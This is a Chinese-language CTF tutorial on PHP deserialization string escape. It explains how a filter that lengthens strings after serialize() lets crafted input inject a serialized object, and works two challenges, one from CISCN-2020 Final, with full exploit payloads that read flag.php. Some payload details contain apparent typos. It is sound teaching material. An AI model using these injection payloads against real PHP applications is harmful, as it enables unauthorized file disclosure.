CTF-Web 小白入门向(PHP反序列化之字符串逃逸)

admin 2025年7月1日16:23:45评论25 views字数 9912阅读33分2秒阅读模式

PS:文章后半段主要是赛题讲解,可以帮助理解知识点

PHP-反序列化(字符串逃逸)

首先我们先看这样一个经过序列化之后的字符串

a:1:{i:0;s:3:"123";}???

可以从这个字符串中得到信息,首先它是一个数组,数组中有一个键值为int型的0,然后value值是一个str型,长度为3123,但是可以看到后面有一串???这个是什么东西呢?我们先不管,先将这一串字符串进行反序列化

执行PHP代码

<?php
   print_r(unserialize('a:1:{i:0;s:3:"123";}???'));

得到回显

Array
(
  [0] => 123
)

这是有这三个?所得到的结果,此时我们再将?都去掉查看回显

Array
(
  [0] => 123
)

发现回显并没有改变,有和没有都是一样的结果

也就是说,序列化一个字符串,序列化到他的结束符之后,后续的内容是不会进行序列化的

而我们的123的内容是可控的,那么我们直接在123后面加上前面一个序列化的结束符

a:1:{i:0;s:3:"123";}";}

也就是我们输入的内容变为123";}然后就会导致后面的字符串失效,也就是说原来的";}无效了

那么我们再将这样一个字符串进行反序列化之后,就会发现,和上面两个并没有区别

这里的字符串逃逸的原理其实和SQL注入的原理差不多

SQL注入闭合前面的查询语句,然后后面接上自己的恶意SQL语句

字符串逃逸是闭合前面的属性,后面接上我们自己添加的其他的属性

接下来我们看一看php_var_unserialize函数的实现

首先看一段var_unserialize.c文件

yych = *YYCURSOR;
switch (yych) {
   case 'C':
   case 'O': goto yy4;
   case 'N': goto yy5;
   case 'R': goto yy6;
   case 'S': goto yy7;
   case 'a': goto yy8;
   case 'b': goto yy9;
   case 'd': goto yy10;
   case 'i': goto yy11;
   case 'o': goto yy12;
   case 'r': goto yy13;
   case 's': goto yy14;
   case '}': goto yy15;
   default: goto yy2;
}

可以看到yych这个指针用switch来匹配我们序列化之后的字符串,这边我们随便举个例子,如果匹配到s,我们跟进它,最终会发现,最终会跳转到yy90来,我们简单分析一下yy90的代码

yy90:
++YYCUROSR;
#line 800 "ext/standard/var_underializer.re"
{
   size_t len,maxlen;
   char *str;
   len = parse_uiv(start + 2);
   maxlen = max + YYCURSOR;
   if (maxlen < len){
       *p = start + 2;
       return 0;
  }
   str = (char*)YYCURSOR;
   YYCURSOR += len;
  if (*(YYCURSOR) != '"'){
       *p = YYCURSOR;
       return 0;
  }
   if (*(YYCURSOR +1) !=';'){
       *p = YYCURSOR +1;
       return 0;
  }
   YYCURSOR +=2;
   *p = YYCURSOR;

   if (len ==0){
       ZVAL_EMPTY_STRING(rval);
  }else if (len == 1){
       ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
  }else if (as_key){
       ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
  }else{
       ZVAL_STRINGL(rval, str, len);
  }
   return 1;
}

首先看yy90中的这一小段

len = parse_uiv(start + 2);
   maxlen = max + YYCURSOR;
   if (maxlen < len){
       *p = start + 2;
       return 0;

首先他从start的位置加了两位,也就是识别到s之后往后移两位,也就会识别到我们字符串长度的信息,然后得到长度的信息,进行判断,如果我们输入的长度超过了它的最大长度也就是maxlen,他就会return 0

然后向下继续分析

YYCURSOR += len;
  if (*(YYCURSOR) != '"'){
       *p = YYCURSOR;
       return 0;
  }

他把YYCURSOR指针加上了获取到的长度len,然后如果长度的下一位不是双引号的话,也就会抛出错误

if (*(YYCURSOR +1) !=';'){
       *p = YYCURSOR +1;
       return 0;
  }

如果双引号的后一位,不是;,也会抛出错误,否则就会对len这一部分进行编程字符串,然后return 1表示成功

if (len ==0){
       ZVAL_EMPTY_STRING(rval);
  }else if (len == 1){
       ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
  }else if (as_key){
       ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
  }else{
       ZVAL_STRINGL(rval, str, len);
  }
   return 1;

我们可以发现,他就是严格按照这么一个模板,进行反序列化

S:len:"字符串内容";

现在我们了解了基本的原理,接下来我们来做一道题来更深入理解一下

What we can do.

<?php
   error_reporting(255);
class A{
       public $filename = __FILE__;
       public function __destruct(){
           highlight_file($this->filename);
           // 高亮显示 filename 参数中的文件,默认是当前文件
      }
  }
function waf($s){
       return preg_replace('/flag/i', 'index', $s);
       // 识别flag然后将其替换为index
  }
if (isset($_REQUEST['x']) && is_string($_REQUEST['x'])){
       // 输入一个参数 x 且这个 x 必须是一个字符串
       $a = [
           0 => $_REQUEST['x'],
           1 => "1"
      ];
       // 然后定义一个数组类型, 0 对应的是我们的参数 x , 1 对应的就是 1
       @unserialize(waf(serialize($a)));
       // 先对数组$a进行序列化,然后过一遍上面定义的waf,然后在对其进行反序列化
  }else{
       new A();
  }

我们的突破点肯定就是在A这个类中,将filename的值改为flag.php,那么我们怎么操作呢?

首先我们可控的变量只有$_REQUEST['x'],而这个x经过了序列化,然后过一遍waf然后再反序列化,似乎和我们的A没有任何关系

我们直接来看payload,然后对payload进行一个分析

flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}

首先他前面有很长很长的flag字符串,然后更上了一个;,然后为整数型,数值为0,跟上一个;号,然后再写了一个o,一个对象,对象名称长度为1,名称为A,有一个属性,字符串类型的名称,名称长度为8,为filename,所对应的值的长度也为8,为666c61672E706870,然后闭合这个序列化字符串,后面跟上了两个}

假设我们先不添加前面的flag,直接将后面的";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}发送给服务器

页面无回显,漏洞并没有利用成功

我们可以在本地模拟一下,输入一下一段php的代码

<?php
$a = [
   0 => '";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}',
   1 => "1"
];

print_r(serialize($a));

然后得到执行的结果

a:2:{i:0;s:65:"";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}

可以看到s:65也就是说键0对应的值长度为65,也就是说,他会从第一个"往后65位都进行匹配,直到匹配完且下一位为",也就是说我们输入的";这些字符都作为了数值,并没有利用起来

从我们上面分析的源码来看,它是按照长度来进行匹配的,所以我们没有办法和SQL注入一样,直接用特殊的符号将其进行闭合

他的长度,是由于他在序列化的时候得到的长度,我们是没有办法进行改变的

但是这道题还有一个关键点,那就是前面的waf

waf会将我们输入的字符串中有flag的字符串替换为index,我们可以发现,flag字符串长度为4,而index字符串长度为5,这样是不是可以帮我们增加一个长度?

而且这个waf巧的就是没有在serialize前面替换,而是在其后面进行替换,那么我们的突破点就在这里

接下来在我们本地的php脚本中添加waf函数,并进行利用

<?php
$a = [
   0 => 'flag',
   1 => "1"
];
function waf($a){
   return preg_replace('/flag/i', 'index', $a);
}
print_r(waf(serialize($a)));

我们先用flag尝试一下,看看返回的结果

a:2:{i:0;s:4:"index";i:1;s:1:"1";}

发现这个序列化的字符串中,标记的键0对应字符串的长度是4而实际长度却是5

而反序列化进行匹配的时候,匹配到x的位置,应该是",匹配错误,抛出异常,继而匹配下一位,"匹配到;还是匹配不到,又抛出一个错误

首先我们没加waf函数先进行序列化

a:2:{i:0;s:325:"flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}

发现这边长度是有325的,然后我们再将waf函数利用上

a:2:{i:0;s:325:"indexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindex";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}

这个时候我们发现,长度还是325没有变化,但是所有index加起来的长度正好是325,然后第326位则是",正好匹配到,然后有用;将前面这个属性进行闭合,然后就可以利用我们自己构造的A对象

这个时候正好可以解释为什么后面是两个},而不是一个,可以看到前面又表明这个数组只有两个值,而第一个}表明filename结束,第二个}则是闭合了数组的内容,这样就不会导致原本两个值加上我们自己构造的第三个值导致反序列化错误

而后面的字符,也就作为我们一开始例举的三个问号被忽略

这就达到了我们的一个字符串逃逸的效果,而这一题逃逸了i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}"这些字符串

总结:这道题目主要原因是在waf过滤的时候没有考虑字符串替换之后长度不一,造成长度溢出,而溢出的长度正好可以让我们利用,构造恶意的序列化字符串来达到效果

这是一道比较简单的例子,接下来我们看一道比赛真题CISCN-2020Final

<?php
if (isset($_POST['old_password'])
   && isset($_POST['update_password'])
   && isset($_POST['update_age'])
   && isset($_POST['update_email'])
   && is_string($_POST['old_password'])
   && is_string($_POST['update_password'])
   && is_string($_POST['update_age'])
   && is_string($_POST['update_email'])
)
{
   if ( preg_match('/[^d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL)
   || strlen($_POST['update_password']) > 16 || preg_match('/W/', $_POST['update_password']) )
   $user -> alterMes("invalid information", "./dashboard.php");
$update_profile = array(
   "old_password" => $_POST['old_password'],
   "old_real_password" => $user->password,
   "password" => $_POST['update_password'],
   "age" => $_POST['update_age'],
   "email" => $_POST['update_email']
);
$user -> update(serialize($update_profile));
}

PS:关键代码截取

这里的功能就是更新资料的时候,需要你提供old_password,update_password,update_age,update_email的内容,然后会对提供的数据进行过滤

preg_match('/[^d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL) 
   || strlen($_POST['update_password']) > 16 || preg_match('/W/', $_POST['update_password'])

首先update_age只能够是数字类型,然后update_email只能够是邮箱类型,然后update_password的数据长度只能够小于等于16,而且内容只能够是一些字符,如果这些参数全都正常的话就会构造一个名为$update_profile的数组

$update_profile = array(
   "old_password" => $_POST['old_password'],
   "old_real_password" => $user->password,
   "password" => $_POST['update_password'],
   "age" => $_POST['update_age'],
   "email" => $_POST['update_email']
);

观察数组,我们可以发现old_password是没有做限制的,所以我们可以对old_password进行一个利用

然后将数据都转换成数组之后,又序列化并且经过update函数传入$user

我们来看看update函数

CTF-Web 小白入门向(PHP反序列化之字符串逃逸)

首先将序列化之后的字符串,传入waf,然后再经过反序列化传入$data

然后这里的waf其实和上一题的waf差不多,只是过滤的条件增加了,上一题只有单调的flag,但是这一题有flag,php等等

上一题的利用点其实是A类中的__destruct函数,而这一题的利用点也是__destruct函数

它首先会严重是否设置了username等内容,然后会得到这个头像的文件的内容,将其以base64的方式输出出来

首先我们需要知道我们要逃逸那些字符串

首先 是";我们需要将前面的内容闭合掉

然后是我们自己需要利用到的东西,因为是在数组中,我们需要按照数组的格式进行构造

首先是 i:0;O:4:"user" 键随便取,取0,然后我们需要利用的对象,对象名称长度为4,为user

因为__destruct函数要检测password等值是否存在,所以这些值我们都需要给他构造出来

:6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";}

因为那便是content属性,所以要加%00,还有一个私有属性也需要加%00

因为这道题的flag也在flag.php中,所以我们先直接写flag.php进行测试,然后还需要再最后多加一个},闭合整个数组

所以目前payload

";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"}}

但是我们的数组是有五个键值的,我们闭合整个数组只有两个键值,所以会导致序列化报错,所以我们还需要再后面构造三个键值,得到测试payload

";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"};i:1;N;i:2;N;i:3;N}

但是这个payload还有一个小问题,就是flag.php,flag.php也是属于flag的,所以会被替换掉,替换为index.php,就会导致错误,

所以这里我们就利用反序列化的特性,用大写的S,然后字符串用十六进制表示,然后它们会把十六进制变为字符串再解析

所以得到payload

";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"666c61672E706870"};i:1;N;i:2;N;i:3;N}

那么构造出来之后我们就要计算有多长了,如果我们直接选中计算,发现有193个单位,但是这个是不准确的,因为我们构造的payload中有%00,而%00相当于一个单位,所以最终的单位为185

所以我们需要利用waf得到185的溢出空间

所以最终最终的payload

flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"666c61672E706870"};i:1;N;i:2;N;i:3;N}

提交数据,服务器就会把flag.php的内容给base64编码出来

总结:这几题主要都是要利用题目本身的waf,进行利用,然后利用waf的缺陷得到溢出的空间,然后填充我们恶意的序列化之后的字符串,需要注意的是本身序列化之后有多少的数据,几个键值,都不能少,否则会导致反序列化报错

这个是属于增加字符串溢出,当然还有减少字符串的反序列化题目,不过大体上的知识点差不多

如果看完这篇文章还有不理解的可以去哔哩哔哩,去看智慧少年Xenny师傅的视频讲解,视频质量非常高,很不戳!

原文始发于微信公众号(神织安全团队):CTF-Web 小白入门向(PHP反序列化之字符串逃逸)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月1日16:23:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF-Web 小白入门向(PHP反序列化之字符串逃逸)https://cn-sec.com/archives/1667905.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息